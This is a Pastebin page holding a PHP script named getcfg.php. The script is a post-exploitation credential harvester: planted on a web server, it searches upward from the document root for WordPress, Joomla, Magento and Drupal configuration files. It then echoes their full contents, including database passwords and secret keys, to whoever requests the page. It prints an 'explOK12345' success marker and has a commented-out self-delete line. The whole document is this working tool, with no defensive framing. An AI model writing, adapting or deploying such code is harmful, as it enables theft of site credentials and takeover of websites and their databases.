PalmaSolutions

getcfg.php

Apr 30th, 2018
386
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.77 KB | None | 0 0
  1. <?php
  2.  
  3.      /****find config files****/
  4.      $rootpath = "";
  5.      if(isset($_SERVER["DOCUMENT_ROOT"]))
  6.      {
  7.         $rootpath = $_SERVER["DOCUMENT_ROOT"];
  8.      } else
  9.      {
  10.          $rootpath = preg_replace('/(htdocs|httpdocs|www)(.*)/','$1',dirname($_SERVER["SCRIPT_FILENAME"]));
  11.      }
  12.  
  13.      
  14. $pathArr =array();
  15. $startPath="";
  16. $depth=0;
  17. $sep = "/";
  18. if (strstr($rootpath,"/"))
  19. {
  20.     $pathArr = explode("/",$rootpath);
  21. } elseif (strstr($rootpath,"\\"))
  22. {
  23.     $pathArr = explode("\\",$rootpath);
  24.     $sep = "\\";
  25. }
  26. $depth = count($pathArr);
  27. if($depth>=2)
  28. {
  29.     $startPath = $pathArr[0];
  30.     for($i=1;$i<count($pathArr)-1;$i++)
  31.     {
  32.         $startPath = $startPath.$sep.$pathArr[$i];
  33.         $configs=findconfig($startPath,$depth);
  34.         if(count($configs))
  35.         {
  36.             break;
  37.         }
  38.         $depth--;
  39.        
  40.     }
  41. } else
  42. {
  43.     $startPath = $rootpath;
  44.     $configs=findconfig($startPath,$depth);
  45. }
  46.  
  47.  
  48. if(count($configs)<=0)
  49. {
  50.   $configs=findconfig($rootpath,3);  
  51. }
  52. $addOk = false;
  53. if(is_array($configs))
  54. {
  55. $configs = array_unique($configs);
  56.     foreach($configs as $config)
  57.     {
  58.         try{
  59.            
  60.              $addedUsrs = NULL;
  61.             $cont = trim(file_get_contents($config));
  62.          if($cont!='')
  63.              {
  64.                  try
  65.                    {
  66.                        if(!$addOk)
  67.                        {
  68.                           $addOk = true;
  69.                           echo "explOK12345" ;
  70.                           echo "<br>";
  71.                        }
  72.                        echo "configpath:".$config."<br>";
  73.                        echo $cont;
  74.                        echo "|||||+++++|||||";
  75.                        
  76.                    }catch(Exception $e)
  77.                    { echo $e->getMessage();}
  78.                   // echo "<br>";
  79.                  
  80.              }
  81.         }catch(Exception $e)
  82.         {;}
  83.        
  84.        
  85.     }
  86.    
  87. }
  88.  
  89. //unlink($_SERVER["SCRIPT_FILENAME"]);
  90.  
  91.  //����� ��������
  92.  function findconfig($source,$depth)
  93. {
  94.  
  95.     $source = str_replace('\\', '/', realpath($source));
  96.     $result=array();
  97.    try
  98.    {
  99.       if (is_dir($source) === true)
  100.     {
  101.         $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source,RecursiveDirectoryIterator::KEY_AS_PATHNAME), RecursiveIteratorIterator::SELF_FIRST,RecursiveIteratorIterator::CATCH_GET_CHILD);
  102.         $files->setMaxDepth($depth);
  103.         foreach ($files as $file => $fileInfo)
  104.         {
  105.             try{
  106.                 $file = str_replace('\\', '/', $file);
  107.                 $file2 = $file;
  108.             if( in_array(substr($file, strrpos($file, '/')+1), array('.', '..')) )
  109.                 continue;
  110.             $file = realpath($file);
  111.            
  112.             if ((is_file($file) === true)&&(basename($file)=="configuration.php"||basename($file)=="wp-config.php"))
  113.             {
  114.                $result[]=$file;
  115.                
  116.             } elseif(is_dir($file)&&strstr($file2,"app/etc"))
  117.             {
  118.                 //
  119.                 //local.xml
  120.                 if(file_exists(realpath($file."/env.php")))
  121.                 {
  122.                    $result[]=  realpath($file."/env.php");
  123.                 }
  124.                 elseif(file_exists(realpath($file."/local.xml")))
  125.                 {
  126.                    $result[]= realpath($file."/local.xml");
  127.                 }
  128.                
  129.             }elseif(is_dir($file)&&strstr($file2,"sites/default"))
  130.             {
  131.                 //
  132.                 //local.xml
  133.                 if(file_exists(realpath($file."/settings.php")))
  134.                 {
  135.                    $result[]=  realpath($file."/settings.php");
  136.                 }
  137.                
  138.             }
  139.             }catch(Exception $iterex)
  140.             {
  141.                 ;
  142.             }
  143.         }
  144.     }
  145.     elseif ((is_file($source) === true)&&(basename($file)=="configuration.php"||basename($file)=="wp-config.php"))
  146.     {
  147.        
  148.         $result[]=$file;
  149.     } elseif(is_dir($file)&&stristr($file,"app/etc"))
  150.     {
  151.         if(file_exists(realpath($file."/env.php")))
  152.                 {
  153.                     $result[]= realpath($file."/env.php");
  154.                 }
  155.                 elseif(file_exists(realpath($file."/local.xml")))
  156.                 {
  157.                    $result[]= realpath($file."/local.xml");
  158.                 }
  159.     }elseif(is_dir($file)&&strstr($file2,"sites/default"))
  160.             {
  161.                 //
  162.                 //local.xml
  163.                 if(file_exists(realpath($file."/settings.php")))
  164.                 {
  165.                    $result[]=  realpath($file."/settings.php");
  166.                 }
  167.                
  168.             }
  169.    } catch (Exception $e) {
  170.        ;
  171.     }
  172.    
  173.    
  174.  
  175.  
  176.   return $result;
  177. }
  178.  
  179.  
  180. ?>
Advertisement
Add Comment
Please, Sign In to add comment